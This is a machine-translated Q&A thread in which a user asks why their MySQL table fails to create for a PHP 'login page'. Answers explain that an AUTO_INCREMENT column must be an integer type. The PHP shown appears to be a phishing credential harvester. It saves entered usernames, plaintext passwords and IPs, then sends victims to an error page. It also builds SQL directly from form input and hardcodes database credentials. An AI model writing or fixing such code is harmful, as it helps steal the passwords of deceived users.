今天嘿朋友我正在创建我的登录页面,这保存了我的数据库用户传递这个项目在我的学校给了我,现在我完全感到沮丧,因为一切似乎都是正确的,但当我尝试创建数据库时,它说错误......我已经在 index.php 脚本...
之后发布了屏幕截图 [<?php
{ //credit
/*
*
*by nalin
*
*PHP ver 5.1.0>
*Tested on 5.5.27
*
*
*/
}
{ //config
error_reporting(0); //turn off error
//server address
$data\[server\] = "localhost";
//user name
$data\[username\] = "a0103769_nalin";
//password here
$data\[pass\] = "Hydrogen";
//database name
$data\[db\] ="a0103769_nalin";
//table name
$data\[db2\] ="data";
//redirect when detect the username/pass is empty
//prevent the db getting filled with junk aka empty tables
$header_empty = $_SERVER\['PHP_SELF'\];
//when it is logged
$header_success ="error.html";
}
{ //mod
//cloud flare ip converter
if(isset($_SERVER\["HTTP_CF_CONNECTING_IP"\])){
$_SERVER\['REMOTE_ADDR'\] = $_SERVER\['HTTP_CF_CONNECTING_IP'\];
};
}
if(isset($_POST\[submit\])){ //Send pass & username to MYSQL
$id\[name\] = $_POST\[uom\];
$id\[pass\] = $_POST\[pass\];
$id\[ip\] = $_SERVER\[REMOTE_ADDR\];
$idts = gmdate('Y-m-d h:i:s \G\M\T');
{//empty filler
if(null == $id\[name\]){
header("Location: $header_empty");
die();
};
if(null == $id\[pass\]){
header("Location: $header_empty");
die();
};
}
$con = mysql_connect($data\[server\],$data\[username\],$data\[pass\]);
mysql_select_db("$data\[db\]",$con);
$sql = "INSERT INTO `$data\[db\]`.`$data\[db2\]` (`ID`, `Name`, `Pass`, `IP`, `Time`) VALUES (NULL, '$id\[name\]', '$id\[pass\]', '$id\[ip\]', '$idts')";
mysql_query($sql);
mysql_close($con);
header("Location: $header_success");
};
if(!isset($_POST\[submit\])) { //echo the full login page
echo '
<html lang="en" data-scribe-reduced-action-queue="true"><!--<!\[endif\]--><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
MySQL查询
CREATE TABLE `a0103769_nalin`.`data` (
`ID` TEXT NULL DEFAULT NULL AUTO_INCREMENT,
`Name` TEXT NULL DEFAULT NULL,
`Password` TEXT NULL DEFAULT NULL,
`IP` TEXT NULL DEFAULT NULL,
`Time` TEXT NULL DEFAULT NULL,
PRIMARY KEY (`ID`)
)
ENGINE = InnoDB;
答案 0 :(得分:0)
要使用AUTO_INCREMENT,您需要将列定义为INT或浮点类型,而不是文本。
AUTO_INCREMENT仅使用无符号值,因此也可以使用UNSIGNED;
CREATE TABLE a0103769_nalin.data ( ID INT NULL DEFAULT NULL AUTO_INCREMENT ,
Name TEXT NULL DEFAULT NULL , Password TEXT NULL DEFAULT NULL , IP TEXT NULL
DEFAULT NULL , Time TEXT NULL DEFAULT NULL , PRIMARY KEY (ID)) ENGINE = InnoDB;
答案 1 :(得分:0)
您的ID列的数据类型不能是 TEXT 应该是Integer 类型,因为它是主键 AUTO_INCREMENT仅用于INTEGER
答案 2 :(得分:0)